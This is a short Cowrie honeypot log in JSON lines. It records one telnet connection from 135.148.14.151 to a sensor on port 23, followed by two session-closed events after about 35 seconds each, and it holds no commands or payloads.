{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60662,"dst_ip":"159.203.135.109","dst_port":23,"session":"150a267a6ebd","protocol":"telnet","message":"New connection: 135.148.14.151:60662 (159.203.135.109:23) [session: 150a267a6ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:58:49.813909Z"}
{"eventid":"cowrie.session.closed","duration":37.371851205825806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:59:12.742597Z","src_ip":"135.148.14.151","session":"19013eb4c15e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54739499092102,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:59:24.361159Z","src_ip":"135.148.14.151","session":"150a267a6ebd","protocol":"telnet"}